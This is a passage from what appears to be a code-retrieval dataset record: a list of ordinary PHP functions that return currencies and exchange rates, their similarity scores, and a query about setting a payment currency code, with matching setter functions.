Testnet)\",\n ];\n\n return $currencies;\n }", "public function getCurrencyAllowableValues()\n {\n return [\n self::CURRENCY_CUP,\n self::CURRENCY_CUC,\n ];\n }", "public function obtainCurrency()\r\n {\r\n return $this->performRequest('GET', '/currency');\r\n }", "public function getCurrency();", "public function getCurrency();", "public function cryptoCurrencies()\n {\n $cryptoCurrencies = CryptoCurrency::all();\n return view('front.crypto_currencies', compact('cryptoCurrencies'));\n }", "public function getCurrencies0()\n {\n return $this->hasMany(Currency::className(), ['ap_disc_gl_acc_id' => 'account_id']);\n }", "public function getConfigDefaultCurrencies()\n {\n $defaultCurrencies = $this->_getResource()->getConfigCurrencies($this, self::XML_PATH_CURRENCY_DEFAULT);\n return $defaultCurrencies;\n }", "public static function getRates() {\n $result = self::get(self::getPath('rates'));\n \n Return $result;\n }", "function &getAll()\r\n {\r\n $db =& eZDB::globalDatabase();\r\n \r\n $return_array = array();\r\n $currency_array = array();\r\n \r\n $db->array_query( $currency_array, \"SELECT ID FROM eZTrade_AlternativeCurrency ORDER BY Created\" );\r\n \r\n for ( $i=0; $i < count($currency_array); $i++ )\r\n {\r\n $return_array[$i] = new eZProductCurrency( $currency_array[$i][$db->fieldName( \"ID\" )], 0 );\r\n }\r\n \r\n return $return_array;\r\n }", "function GetOurCurrency()\n\t{\n\t\t$result = $this->sendRequest(\"GetOurCurrency\", array());\t\n\t\treturn $this->getResultFromResponse($result);\n\t}", "function erp_get_currency_list_with_symbol() {\n $currencies = erp_get_currencies();\n $currency_symbols = erp_get_currency_symbol();\n $currency_list = [];\n\n foreach ( $currencies as $iso => $currency ) {\n $symbol = isset( $currency_symbols[ $iso ] ) ? $currency_symbols[ $iso ] : $iso;\n\n $currency_list[ $iso ] = sprintf( '%1$s (%2$s)', $currency, $symbol );\n }\n\n return $currency_list;\n}", "public static function getRates() : array\n {\n return self::$rates;\n }", "function getCurrency()\r\n\t{\r\n\t\treturn $this->call_API('getCurrency');\r\n\t}", "private function getCurrencyExchangeRates(){\n\t\t\n\t\t//function needs ini to allow_url_fopen\n\t\tif(!ini_get('allow_url_fopen')){\n\t\t\t$this->error = \"ERROR - PHP.ini needs allow_url_fopen set to on\";\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tif(!$XML = $this->returnCurrencyXML()){\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tif(!$this->createCurrencyArray($XML)){\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tif(!isSet($this->currencyRates) || empty($this->currencyRates)){\n\t\t\t$this->error = \"ERROR - there was an error converting the XML data\";\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\treturn true;\n\t\t\n\t}", "private function getStoreCurrencies($storeId)\n\t{\n\t\t$this->storeManager->setCurrentStore($storeId);\n\t\t$allCurrencies = $this->storeManager->getStore()->getAvailableCurrencyCodes(true);\n\n\t\t$return = [\n\t\t\t'base_currency' => $this->storeManager->getStore()->getBaseCurrencyCode(),\n\t\t\t'rates' => []\n\t\t];\n\n\t\tforeach($allCurrencies as $currency)\n\t\t\t$return['rates'][$currency] = $this->storeManager->getStore()->getBaseCurrency()->getRate($currency);\n\n\t\treturn $return;\n\t}", "public function getRates()\n {\n # Convert the rates to a key / value array:\n return json_decode( json_encode($this->rates), true );\n }", "function get_carton_currencies() {\n\treturn array_unique(\n\t\tapply_filters( 'carton_currencies',\n\t\t\tarray(\n\t\t\t\t'RUB' => __( 'Russian Rubles (RUB, new currency code 643, since 2001)', 'carton' ),\n\t\t\t\t'RUR' => __( 'Russian Rubles (RUR, old currency code 810, before 2001)', 'carton' ),\n\t\t\t\t'AUD' => __( 'Australian Dollars', 'carton' ),\n\t\t\t\t'BRL' => __( 'Brazilian Real', 'carton' ),\n\t\t\t\t'CAD' => __( 'Canadian Dollars', 'carton' ),\n\t\t\t\t'RMB' => __( 'Chinese Yuan', 'carton' ),\n\t\t\t\t'CZK' => __( 'Czech Koruna', 'carton' ),\n\t\t\t\t'DKK' => __( 'Danish Krone', 'carton' ),\n\t\t\t\t'EUR' => __( 'Euros', 'carton' ),\n\t\t\t\t'HKD' => __( 'Hong Kong Dollar', 'carton' ),\n\t\t\t\t'HUF' => __( 'Hungarian Forint', 'carton' ),\n\t\t\t\t'IDR' => __( 'Indonesia Rupiah', 'carton' ),\n\t\t\t\t'INR' => __( 'Indian Rupee', 'carton' ),\n\t\t\t\t'ILS' => __( 'Israeli Shekel', 'carton' ),\n\t\t\t\t'JPY' => __( 'Japanese Yen', 'carton' ),\n\t\t\t\t'KRW' => __( 'South Korean Won', 'carton' ),\n\t\t\t\t'MYR' => __( 'Malaysian Ringgits', 'carton' ),\n\t\t\t\t'MXN' => __( 'Mexican Peso', 'carton' ),\n\t\t\t\t'NOK' => __( 'Norwegian Krone', 'carton' ),\n\t\t\t\t'NZD' => __( 'New Zealand Dollar', 'carton' ),\n\t\t\t\t'PHP' => __( 'Philippine Pesos', 'carton' ),\n\t\t\t\t'PLN' => __( 'Polish Zloty', 'carton' ),\n\t\t\t\t'GBP' => __( 'Pounds Sterling', 'carton' ),\n\t\t\t\t'RON' => __( 'Romanian Leu', 'carton' ),\n\t\t\t\t'SGD' => __( 'Singapore Dollar', 'carton' ),\n\t\t\t\t'ZAR' => __( 'South African rand', 'carton' ),\n\t\t\t\t'SEK' => __( 'Swedish Krona', 'carton' ),\n\t\t\t\t'CHF' => __( 'Swiss Franc', 'carton' ),\n\t\t\t\t'TWD' => __( 'Taiwan New Dollars', 'carton' ),\n\t\t\t\t'THB' => __( 'Thai Baht', 'carton' ),\n\t\t\t\t'TRY' => __( 'Turkish Lira', 'carton' ),\n\t\t\t\t'USD' => __( 'US Dollars', 'carton' ),\n\t\t\t)\n\t\t)\n\t);\n}", "public static function getUSDCurrencyExchangeRates()\n { \n $ch = curl_init(_URL_YAHOOAPI);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\n\n $html = curl_exec($ch);\n curl_close($ch);\n \n return json_decode($html);\n }", "function GetBaseCurrency()\n\t{\n\t\t$result = $this->sendRequest(\"GetBaseCurrency\", array());\t\n\t\treturn $this->getResultFromResponse($result);\n\t}", "public function fetchRates()\n {\n $res = $this->_fetch($this->_cfg['ratesUri']);\n\n return $res;\n }", "public static function allNames()\n {\n static $list;\n\n if ($list === null) {\n $list = [];\n $data = \\ResourceBundle::create(\\Locale::getDefault(), 'ICUDATA-curr')->get('Currencies');\n foreach ($data as $code => $values) {\n $list[$code] = $values[1];\n }\n }\n\n return $list;\n }", "public static function no_decimal_currencies() {\n\t\treturn array(\n\t\t\t'bif', // Burundian Franc\n\t\t\t'djf', // Djiboutian Franc\n\t\t\t'jpy', // Japanese Yen\n\t\t\t'krw', // South Korean Won\n\t\t\t'pyg', // Paraguayan Guaraní\n\t\t\t'vnd', // Vietnamese Đồng\n\t\t\t'xaf', // Central African Cfa Franc\n\t\t\t'xpf', // Cfp Franc\n\t\t\t'clp', // Chilean Peso\n\t\t\t'gnf', // Guinean Franc\n\t\t\t'kmf', // Comorian Franc\n\t\t\t'mga', // Malagasy Ariary\n\t\t\t'rwf', // Rwandan Franc\n\t\t\t'vuv', // Vanuatu Vatu\n\t\t\t'xof', // West African Cfa Franc\n\t\t);\n\t}", "function GetDB_CurrencyList($order_asc = false) {\n $query = \"SELECT * FROM conversion_rates \".(($order_asc) ? \"ORDER BY currency ASC\" : \"\").\";\";\n $result = $GLOBALS['conn']->query($query);\n $rows = [];\n while($row = mysqli_fetch_array($result)) {\n $rows[] = $row;\n }\n return $rows;\n }", "public function getAllRates()\n {\n return $this->getRatesQuery()->execute();\n }", "public function getExchangeRates(): array\n {\n $out = $this->request('getExchangeRates');\n return $out['result'];\n }", "public function getCurrenciesAction()\n {\n $em = $this->getDoctrine()->getManager();\n $currencies = $em->getRepository('ApiBundle:Currency')->findAll();\n $view = $this->view($currencies);\n return $this->handleView($view);\n }", "public function getCurrencies7()\n {\n return $this->hasMany(Currency::className(), ['exchg_gl_acc_id' => 'account_id']);\n }", "public function getCurrencies1()\n {\n return $this->hasMany(Currency::className(), ['ap_dp_gl_acc_id' => 'account_id']);\n }", "public function getSupportedMerchantCountryCodes()\n {\n return $this->supportedCountryCodes;\n }", "public function currencies()\n {\n $currencies = Currencies::with('Countries:name')->get();\n // dd($currencies);\n return view('setup.currencies.index', compact('currencies'));\n }", "function erp_get_currencies() {\n return apply_filters( 'erp_currencies', [\n 'AFN' => __( 'Afghan Afghani', 'erp' ),\n 'ALL' => __( 'Albanian Lek', 'erp' ),\n 'DZD' => __( 'Algerian Dinar', 'erp' ),\n 'ADP' => __( 'Andorran Peseta', 'erp' ),\n 'AOA' => __( 'Angolan Kwanza', 'erp' ),\n 'ARA' => __( 'Argentine Austral', 'erp' ),\n 'ARS' => __( 'Argentine Peso', 'erp' ),\n 'AMD' => __( 'Armenian Dram', 'erp' ),\n 'AWG' => __( 'Aruban Florin', 'erp' ),\n 'AUD' => __( 'Australian Dollar', 'erp' ),\n 'ATS' => __( 'Austrian Schilling', 'erp' ),\n 'AZN' => __( 'Azerbaijani Manat', 'erp' ),\n 'BSD' => __( 'Bahamian Dollar', 'erp' ),\n 'BHD' => __( 'Bahraini Dinar', 'erp' ),\n 'BDT' => __( 'Bangladeshi Taka', 'erp' ),\n 'BBD' => __( 'Barbadian Dollar', 'erp' ),\n 'BYR' => __( 'Belarusian Ruble', 'erp' ),\n 'BEF' => __( 'Belgian Franc', 'erp' ),\n 'BZD' => __( 'Belize Dollar', 'erp' ),\n 'BMD' => __( 'Bermudan Dollar', 'erp' ),\n 'BTN' => __( 'Bhutanese Ngultrum', 'erp' ),\n 'BOB' => __( 'Bolivian Boliviano', 'erp' ),\n 'BOV' => __( 'Bolivian Mvdol', 'erp' ),\n 'BOP' => __( 'Bolivian Peso', 'erp' ),\n 'BAM' => __( 'Bosnia-Herzegovina Convertible Mark', 'erp' ),\n 'BWP' => __( 'Botswanan Pula', 'erp' ),\n 'BRL' => __( 'Brazilian Real', 'erp' ),\n 'GBP' => __( 'British Pound Sterling', 'erp' ),\n 'BND' => __( 'Brunei Dollar', 'erp' ),\n 'BGN' => __( 'Bulgarian Lev', 'erp' ),\n 'BUK' => __( 'Burmese Kyat', 'erp' ),\n 'BIF' => __( 'Burundian Franc', 'erp' ),\n 'KHR' => __( 'Cambodian Riel', 'erp' ),\n 'CAD' => __( 'Canadian Dollar', 'erp' ),\n 'CVE' => __( 'Cape Verdean Escudo', 'erp' ),\n 'KYD' => __( 'Cayman Islands Dollar', 'erp' ),\n 'XOF' => __( 'CFA Franc BCEAO', 'erp' ),\n 'XAF' => __( 'CFA Franc BEAC', 'erp' ),\n 'XPF' => __( 'CFP Franc', 'erp' ),\n 'CLP' => __( 'Chilean Peso', 'erp' ),\n 'CNY' => __( 'Chinese Yuan', 'erp' ),\n 'COP' => __( 'Colombian Peso', 'erp' ),\n 'KMF' => __( 'Comorian Franc', 'erp' ),\n 'CDF' => __( 'Congolese Franc', 'erp' ),\n 'CRC' => __( 'Costa Rican Colón', 'erp' ),\n 'HRK' => __( 'Croatian Kuna', 'erp' ),\n 'CUP' => __( 'Cuban Peso', 'erp' ),\n 'CYP' => __( 'Cypriot Pound', 'erp' ),\n 'CZK' => __( 'Czech Republic Koruna', 'erp' ),\n 'DKK' => __( 'Danish Krone', 'erp' ),\n 'DJF' => __( 'Djiboutian Franc', 'erp' ),\n 'DOP' => __( 'Dominican Peso', 'erp' ),\n 'NLG' => __( 'Dutch Guilder', 'erp' ),\n 'XCD' => __( 'East Caribbean Dollar', 'erp' ),\n 'ECS' => __( 'Ecuadorian Sucre', 'erp' ),\n 'EGP' => __( 'Egyptian Pound', 'erp' ),\n 'GQE' => __( 'Equatorial Guinean Ekwele', 'erp' ),\n 'ERN' => __( 'Eritrean Nakfa', 'erp' ),\n 'EEK' => __( 'Estonian Kroon', 'erp' ),\n 'ETB' => __( 'Ethiopian Birr', 'erp' ),\n 'EUR' => __( 'Euro', 'erp' ),\n 'FKP' => __( 'Falkland Islands Pound', 'erp' ),\n 'FJD' => __( 'Fijian Dollar', 'erp' ),\n 'FIM' => __( 'Finnish Markka', 'erp' ),\n 'FRF' => __( 'French Franc', 'erp' ),\n 'GMD' => __( 'Gambian Dalasi', 'erp' ),\n 'GEL' => __( 'Georgian Lari', 'erp' ),\n 'DEM' => __( 'German Mark', 'erp' ),\n 'GHS' => __( 'Ghanaian Cedi', 'erp' ),\n 'GIP' => __( 'Gibraltar Pound', 'erp' ),\n 'GRD' => __( 'Greek Drachma', 'erp' ),\n 'GTQ' => __( 'Guatemalan Quetzal', 'erp' ),\n 'GWP' => __( 'Guinea-Bissau Peso', 'erp' ),\n 'GNF' => __( 'Guinean Franc', 'erp' ),\n 'GYD' => __( 'Guyanaese Dollar', 'erp' ),\n 'HTG' => __( 'Haitian Gourde', 'erp' ),\n 'HNL' => __( 'Honduran Lempira', 'erp' ),\n 'HKD' => __( 'Hong Kong Dollar', 'erp' ),\n 'HUF' => __( 'Hungarian Forint', 'erp' ),\n 'ISK' => __( 'Icelandic Króna', 'erp' ),\n 'INR' => __( 'Indian Rupee', 'erp' ),\n 'IDR' => __( 'Indonesian Rupiah', 'erp' ),\n 'IRR' => __( 'Iranian Rial', 'erp' ),\n 'IQD' => __( 'Iraqi Dinar', 'erp' ),\n 'IEP' => __( 'Irish Pound', 'erp' ),\n 'ILS' => __( 'Israeli New Sheqel', 'erp' ),\n 'ITL' => __( 'Italian Lira', 'erp' ),\n 'JMD' => __( 'Jamaican Dollar', 'erp' ),\n 'JPY' => __( 'Japanese Yen', 'erp' ),\n 'JOD' => __( 'Jordanian Dinar', 'erp' ),\n 'KZT' => __( 'Kazakhstani Tenge', 'erp' ),\n 'KES' => __( 'Kenyan Shilling', 'erp' ),\n 'KWD' => __( 'Kuwaiti Dinar', 'erp' ),\n 'KGS' => __( 'Kyrgystani Som', 'erp' ),\n 'LAK' => __( 'Laotian Kip', 'erp' ),\n 'LVL' => __( 'Latvian Lats', 'erp' ),\n 'LBP' => __( 'Lebanese Pound', 'erp' ),\n 'LSL' => __( 'Lesotho Loti', 'erp' ),\n 'LRD' => __( 'Liberian Dollar', 'erp' ),\n 'LYD' => __( 'Libyan Dinar', 'erp' ),\n 'LTL' => __( 'Lithuanian Litas', 'erp' ),\n 'LTT' => __( 'Lithuanian Talonas', 'erp' ),\n 'LUF' => __( 'Luxembourgian Franc', 'erp' ),\n 'MOP' => __( 'Macanese Pataca', 'erp' ),\n 'MKD' => __( 'Macedonian Denar', 'erp' ),\n 'MGA' => __( 'Malagasy Ariary', 'erp' ),\n 'MWK' => __( 'Malawian Kwacha', 'erp' ),\n 'MYR' => __( 'Malaysian Ringgit', 'erp' ),\n 'MVR' => __( 'Maldivian Rufiyaa', 'erp' ),\n 'MLF' => __( 'Malian Franc', 'erp' ),\n 'MTL' => __( 'Maltese Lira', 'erp' ),\n 'MRO' => __( 'Mauritanian Ouguiya', 'erp' ),\n 'MUR' => __( 'Mauritian Rupee', 'erp' ),\n 'MXN' => __( 'Mexican Peso', 'erp' ),\n 'MDL' => __( 'Moldovan Leu', 'erp' ),\n 'MCF' => __( 'Monegasque Franc', 'erp' ),\n 'MNT' => __( 'Mongolian Tugrik', 'erp' ),\n 'MAD' => __( 'Moroccan Dirham', 'erp' ),\n 'MZN' => __( 'Mozambican Metical', 'erp' ),\n 'MMK' => __( 'Myanmar Kyat', 'erp' ),\n 'NAD' => __( 'Namibian Dollar', 'erp' ),\n 'NPR' => __( 'Nepalese Rupee', 'erp' ),\n 'ANG' => __( 'Netherlands Antillean Guilder', 'erp' ),\n 'TWD' => __( 'New Taiwan Dollar', 'erp' ),\n 'NZD' => __( 'New Zealand Dollar', 'erp' ),\n 'NIO' => __( 'Nicaraguan Córdoba', 'erp' ),\n 'NGN' => __( 'Nigerian Naira', 'erp' ),\n 'KPW' => __( 'North Korean Won', 'erp' ),\n 'NOK' => __( 'Norwegian Krone', 'erp' ),\n 'OMR' => __( 'Omani Rial', 'erp' ),\n 'PKR' => __( 'Pakistani Rupee', 'erp' ),\n 'PAB' => __( 'Panamanian Balboa', 'erp' ),\n 'PGK' => __( 'Papua New Guinean Kina', 'erp' ),\n 'PYG' => __( 'Paraguayan Guarani', 'erp' ),\n 'PEI' => __( 'Peruvian Inti', 'erp' ),\n 'PHP' => __( 'Philippine Peso', 'erp' ),\n 'PLN' => __( 'Polish Zloty', 'erp' ),\n 'PTE' => __( 'Portuguese Escudo', 'erp' ),\n 'QAR' => __( 'Qatari Rial', 'erp' ),\n 'RHD' => __( 'Rhodesian Dollar', 'erp' ),\n 'RON' => __( 'Romanian Leu', 'erp' ),\n 'RUB' => __( 'Russian Ruble', 'erp' ),\n 'RWF' => __( 'Rwandan Franc', 'erp' ),\n 'SVC' => __( 'Salvadoran Colón', 'erp' ),\n 'WST' => __( 'Samoan Tala', 'erp' ),\n 'STD' => __( 'São Tomé & Príncipe Dobra', 'erp' ),\n 'SAR' => __( 'Saudi Riyal', 'erp' ),\n 'RSD' => __( 'Serbian Dinar', 'erp' ),\n 'SCR' => __( 'Seychellois Rupee', 'erp' ),\n 'SLL' => __( 'Sierra Leonean Leone', 'erp' ),\n 'SGD' => __( 'Singapore Dollar', 'erp' ),\n 'SKK' => __( 'Slovak Koruna', 'erp' ),\n 'SIT' => __( 'Slovenian Tolar', 'erp' ),\n 'SBD' => __( 'Solomon Islands Dollar', 'erp' ),\n 'SOS' => __( 'Somali Shilling', 'erp' ),\n 'ZAR' => __( 'South African Rand', 'erp' ),\n 'KRW' => __( 'South Korean Won', 'erp' ),\n 'SSP' => __( 'South Sudanese Pound', 'erp' ),\n 'ESP' => __( 'Spanish Peseta', 'erp' ),\n 'LKR' => __( 'Sri Lankan Rupee', 'erp' ),\n 'SHP' => __( 'St. Helena Pound', 'erp' ),\n 'SDG' => __( 'Sudanese Pound', 'erp' ),\n 'SRD' => __( 'Surinamese Dollar', 'erp' ),\n 'SZL' => __( 'Swazi Lilangeni', 'erp' ),\n 'SEK' => __( 'Swedish Krona', 'erp' ),\n 'CHF' => __( 'Swiss Franc', 'erp' ),\n 'SYP' => __( 'Syrian Pound', 'erp' ),\n 'TJS' => __( 'Tajikistani Somoni', 'erp' ),\n 'TZS' => __( 'Tanzanian Shilling', 'erp' ),\n 'THB' => __( 'Thai Baht', 'erp' ),\n 'TPE' => __( 'Timorese Escudo', 'erp' ),\n 'TOP' => __( 'Tongan Paʻanga', 'erp' ),\n 'TTD' => __( 'Trinidad & Tobago Dollar', 'erp' ),\n 'TND' => __( 'Tunisian Dinar', 'erp' ),\n 'TRY' => __( 'Turkish Lira', 'erp' ),\n 'TMT' => __( 'Turkmenistani Manat', 'erp' ),\n 'UGX' => __( 'Ugandan Shilling', 'erp' ),\n 'UAH' => __( 'Ukrainian Hryvnia', 'erp' ),\n 'AED' => __( 'United Arab Emirates Dirham', 'erp' ),\n 'UYU' => __( 'Uruguayan Peso', 'erp' ),\n 'USD' => __( 'US Dollar', 'erp' ),\n 'UZS' => __( 'Uzbekistan Som', 'erp' ),\n 'VUV' => __( 'Vanuatu Vatu', 'erp' ),\n 'VEF' => __( 'Venezuelan Bolívar', 'erp' ),\n 'VND' => __( 'Vietnamese Dong', 'erp' ),\n 'YER' => __( 'Yemeni Rial', 'erp' ),\n 'ZMW' => __( 'Zambian Kwacha', 'erp' ),\n 'ZWL' => __( 'Zimbabwean Dollar', 'erp' ),\n ] );\n}", "public function getCountrylist()\n {\n $cachePool = new FilesystemAdapter('', 0, \"cache\");\n \n if ($cachePool->hasItem('countries')) {\n $countries = $cachePool->getItem('countries')->get();\n } else {\n $countries = $this->client->request(\n 'GET',\n 'https://kayaposoft.com/enrico/json/v2.0?action=getSupportedCountries'\n )->toArray();\n $countriesCache = $cachePool->getItem('countries');\n \n if (!$countriesCache->isHit()) {\n $countriesCache->set($countries);\n $countriesCache->expiresAfter(60*60*24);\n $cachePool->save($countriesCache);\n }\n }\n\n return $countries;\n }", "public function getAvailablePaymentMethods ();", "private function getExchangeRates()\n\t{\n\t\t$date = $this->getDate()->format('d.m.Y');\n\t\t$locale = $this->getLocale();\n\t\t$cacheKey = $date . '-' . $locale;\n\n\t\t// Check the cache\n\t\tif (isset($this->cache[$cacheKey])) {\n\t\t\treturn $this->cache[$cacheKey];\n\t\t}\n\n\t\t$response = $this->requestRemoteServer($date, $locale);\n\t\tif (!$response) {\n\t\t\treturn [];\n\t\t}\n\n\t\t$rates = $this->parseRatesFromResponse($response);\n\t\tif (empty($rates)) {\n\t\t\treturn [];\n\t\t}\n\n\t\treturn $this->cache[$cacheKey] = $rates;\n\t}", "public function getCurrencies(Context $context, $only_active = false)\n {\n $id_shop = (int)$context->shop->id;\n if (_PS_VERSION_ >= '1.5') {\n $all_currencies = Currency::getCurrenciesByIdShop($id_shop);\n } else {\n $all_currencies = Currency::getCurrencies();\n }\n if ($only_active === true) {\n $currencies = array();\n /* @var Currency $currency */\n foreach ($all_currencies as $currency) {\n if ($this->currencyActive($currency)) {\n $currencies[] = $currency;\n }\n }\n } else {\n $currencies = $all_currencies;\n }\n\n return $currencies;\n }", "public function index()\n {\n $currencies = Currency::get();\n return view('admin.currencies.list')->with('currencies', $currencies);\n }", "public function getCurrency()\n {\n try {\n $currencyCode = $this->store->getCurrentCurrencyCode();\n $currencyObj = $this->locale->currency($currencyCode);\n $currency = array(\n 'isoCode' => $currencyCode,\n 'isoCodeNum' => null,\n 'name' => $currencyObj->getName(),\n 'sign' => $currencyObj->getSymbol()\n );\n } catch (Exception $exception) {\n $this->exceptionHandler->logException($exception);\n\n $currency = array(\n 'isoCode' => null,\n 'isoCodeNum' => null,\n 'name' => null,\n 'sign' => null\n );\n }\n\n return $currency;\n }", "function getRates($currencies){\n $response=array();\n $json = file_get_contents('https://blockchain.info/ticker');\n $result = json_decode($json, true);\n foreach ($currencies as $currency) {\n $response[$currency]=$result[$currency]['last'];\n }\n return $response;\n}", "public function getCurrencies5()\n {\n return $this->hasMany(Currency::className(), ['rounding_gl_acc_id' => 'account_id']);\n }", "public function getCurrencies6()\n {\n return $this->hasMany(Currency::className(), ['writeoff_gl_acc_id' => 'account_id']);\n }", "public function getAllInactiveCurrencies()\n {\n $queryBuilder = $this->createQueryBuilder('c');\n\n $currencies = $queryBuilder->leftJoin('c.active_currency', 'ac')\n ->innerJoin('c.translations', 'ct')\n ->andWhere('ct.code = :code')\n ->andWhere('ac.active_currency_id IS NULL')\n ->orderBy('ct.name', 'ASC')\n ->setParameter('code', \\XLite\\Core\\Session::getInstance()->getLanguage()->getCode())\n ->getResult();\n\n return $currencies;\n }", "public function getAll()\n\t{\n\t\tif (!$this->isAssocResult()) {\n\t\t\treturn array_values($this->getExchangeRates());\n\t\t}\n\n\t\t$assocClosure = $this->getAssocClosure();\n\n\t\t$results = [];\n\t\tforeach ($this->getExchangeRates() as $rate) {\n\t\t\t$results[$assocClosure($rate)] = $rate;\n\t\t}\n\n\t\treturn $results;\n\t}", "public static function getInfoForCurrenciesWithoutCurrencyCode(): array\n {\n if (null !== self::$currenciesNoIsoCode) {\n self::$currenciesNoIsoCode;\n }\n\n return self::$currenciesNoIsoCode = self::loadCurrenciesDefinition('noisocode');\n }", "public function CurrencyCode()\n {\n return [\n 'AUD' => ' Australia Dollar',\n 'BND' => 'Bruneian Dollar',\n 'CAD' => 'Canadian Dollar',\n 'CHF' => 'Francs',\n 'CNY' => 'China Yuan',\n 'DKK' => 'Danish Krone',\n 'EUR' => 'Euro',\n 'GBP' => 'Great Britain Poundsterling',\n 'HKD' => 'Hongkong Dollar',\n 'JPY' => 'Japan Yen',\n 'KRW' => 'Korea Won',\n 'NOK' => 'Norwegian Krone',\n 'NZD' => 'New Zealand Dollar',\n 'PHP' => 'Phillipine Peso',\n 'SAR' => 'Saudi Riyal',\n 'SEK' => 'Swedish Krona',\n 'SGD' => 'Singapore Dollar',\n 'THB' => 'Thailand Baht',\n 'TWD' => 'Taiwan Dollar',\n 'USD' => 'US Dollar',\n ];\n }", "public function getSourceCurrency();", "public static function getRates()\n {\n $config = $GLOBALS['config'];\n if (!isset($config['rates'])) {\n throw new \\OutOfRangeException(\n 'Please specify currency conversation rates!',\n 1\n );\n }\n\n return $config['rates'];\n }", "public function getAvailableCountries()\n {\n $availableCountries=array();\n $models=ShippingCosts::model()->findAll(array(\n 'select'=>'t.country_code',\n 'group'=>'t.country_code',\n 'distinct'=>true,\n 'condition'=>'t.shipping_method_id=:shipping_method_id',\n 'params'=>array(':shipping_method_id'=>$this->id),\n ));\n $availableCountries=CHtml::listData($models, 'country_code', 'country_code');\n return $availableCountries;\n }", "public function getCurrencyAndSymbol()\n {\n if($this->custom_checkbox1 == 'y'){\n return array('currency' => 'USD', 'symbol' => '$');\n }\n else if($this->location_1){\n return DBQuery::execute(function(){\n $main = DBConnection::getInstance()->getMain();\n $sql = $main->prepare(\"SELECT currency, symbol FROM Location_1 \"\n . \"WHERE id=:id\");\n $sql->bindParam(':id', $this->location_1);\n $sql->execute();\n return $sql->fetch(\\PDO::FETCH_BOTH);\n });\n }\n else{\n return array('currency' => 'USD', 'symbol' => '$');\n } \n }", "function getTickersForCurrency($currency) {\n \n $this->requestUrl = $this->makeUrl('ticker/' . $currency);\n \n return $this->getData();\n }", "public function getCurrencies2()\n {\n return $this->hasMany(Currency::className(), ['ar_gl_acc_id' => 'account_id']);\n }", "public function getCurrency(): Currency;", "public function getCurrency()\n {\n return \"/V1/directory/currency\";\n }", "public function getRates()\n {\n $this->uri = \"/?section=shipping&action=getRates\";\n \n return $this->send();\n }", "public function getRates()\n {\n return $this->_rates;\n }" ]
[ "0.8314283", "0.8284117", "0.8098432", "0.8052178", "0.7860705", "0.78384566", "0.77574855", "0.7678886", "0.7632688", "0.758929", "0.75632095", "0.7555622", "0.7549995", "0.7468307", "0.7434804", "0.73897815", "0.7360509", "0.73509765", "0.7276345", "0.7267775", "0.71429574", "0.7141392", "0.70924425", "0.6919945", "0.69196653", "0.6887361", "0.6878191", "0.68455094", "0.6835893", "0.6806392", "0.6766224", "0.6754996", "0.67486596", "0.67356646", "0.67108047", "0.67100656", "0.6705818", "0.67007345", "0.6656724", "0.66377515", "0.6613576", "0.65721035", "0.6557484", "0.6525814", "0.6525373", "0.649511", "0.6460609", "0.64468074", "0.644113", "0.644113", "0.6432625", "0.63763624", "0.6370676", "0.636189", "0.63437927", "0.6337648", "0.63035375", "0.62764645", "0.6273067", "0.6260899", "0.62376463", "0.6205254", "0.61869854", "0.6158291", "0.61405635", "0.6137869", "0.6126316", "0.6123381", "0.61171645", "0.6112564", "0.60857606", "0.60836935", "0.60681534", "0.60603607", "0.60517526", "0.6050636", "0.60433906", "0.6038523", "0.6038286", "0.6015812", "0.599553", "0.5981848", "0.597846", "0.59680337", "0.5963645", "0.5953574", "0.594954", "0.59427315", "0.5934854", "0.59324396", "0.591652", "0.5909173", "0.59087616", "0.59081036", "0.5904176", "0.5883951", "0.5882768", "0.58754236", "0.5872109", "0.58696747" ]
0.72079146
20
Sets the currency code to be used for all subsequent payments
public function setCurrency($currency) { $this->currency = $currency; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function setCurrencyCode(){\n switch($this->Currency){\n case \"USD\": $this->CurrencyCode = 840;\n break;\n case \"EUR\": $this->CurrencyCode = 978;\n break;\n case \"AUD\": $this->CurrencyCode = 036;\n break;\n case \"CAD\": $this->CurrencyCode = 124;\n break;\n case \"GBP\": $this->CurrencyCode = 826;\n break;\n case \"JPY\": $this->CurrencyCode = 392;\n break;\n }// end switch\n }", "public function setCurrencyCode($currencyCode);", "public function setGlobalCurrencyCode($code);", "public function setBaseCurrencyCode($code);", "function setCurrencyCode($currencycode) {\n\t\tif (strlen($currencycode) == 3) {\n\t\t\t$this->currencycode = $currencycode;\n\t\t} else {\n\t\t\t$this->error[] = \"Invalid Currency Code\";\n\t\t}\n\t}", "function setCurrencyCode($currencycode) {\n\t\tif (strlen($currencycode) == 3) {\n\t\t\t$this->currencycode = $currencycode;\n\t\t} else {\n\t\t\t$this->error[] = \"Invalid Currency Code\";\n\t\t}\n\t}", "public function setOrderCurrencyCode($code);", "public function setCurrencyCode($value) \n {\n $this->_fields['CurrencyCode']['FieldValue'] = $value;\n return $this;\n }", "public function setStoreCurrencyCode($code);", "public function setCurrencyCode($value)\n {\n $this->_fields['CurrencyCode']['FieldValue'] = $value;\n return $this;\n }", "public function setCurrency($currency){\n $this->currency = $currency;\n }", "public function pushTransactionCurrency($code)\n {\n $this->data['ecommerce']['currencyCode'] = $code;\n }", "public function setCurrency(string $currency);", "private function setCurrency()\n {\n $currency = $this->em->getRepository('ClubUserBundle:LocationConfig')->getObjectByKey('default_currency',$this->order->getLocation());\n\n $this->order->setCurrency($currency);\n $this->order->setCurrencyValue(1);\n }", "public function setCurrency($currency)\n {\n $this->currency = $currency;\n }", "public function setCurrency($currency)\n {\n $this->currency = $currency;\n }", "public function setCurrency($currency);", "public function setCurrency(Currency|string $currency): self;", "public function setCurrency($currency) {\n\t\t$this->_currency = $currency;\n\t}", "public function setCurrency($c)\n {\n $this->setOption('currency',$c);\n }", "public function setCurrencyCode(string $currencyCode)\n {\n $this->currencyCode = $currencyCode;\n\n return $this;\n }", "public function withCurrencyCode($value)\n {\n $this->setCurrencyCode($value);\n return $this;\n }", "public function withCurrencyCode($value)\n {\n $this->setCurrencyCode($value);\n return $this;\n }", "public function setCurrencyCode($currencyCode)\n {\n $this->currencyCode = $currencyCode;\n return $this;\n }", "public function setCurrencyCode($currencyCode)\n {\n $this->currencyCode = $currencyCode;\n return $this;\n }", "public function 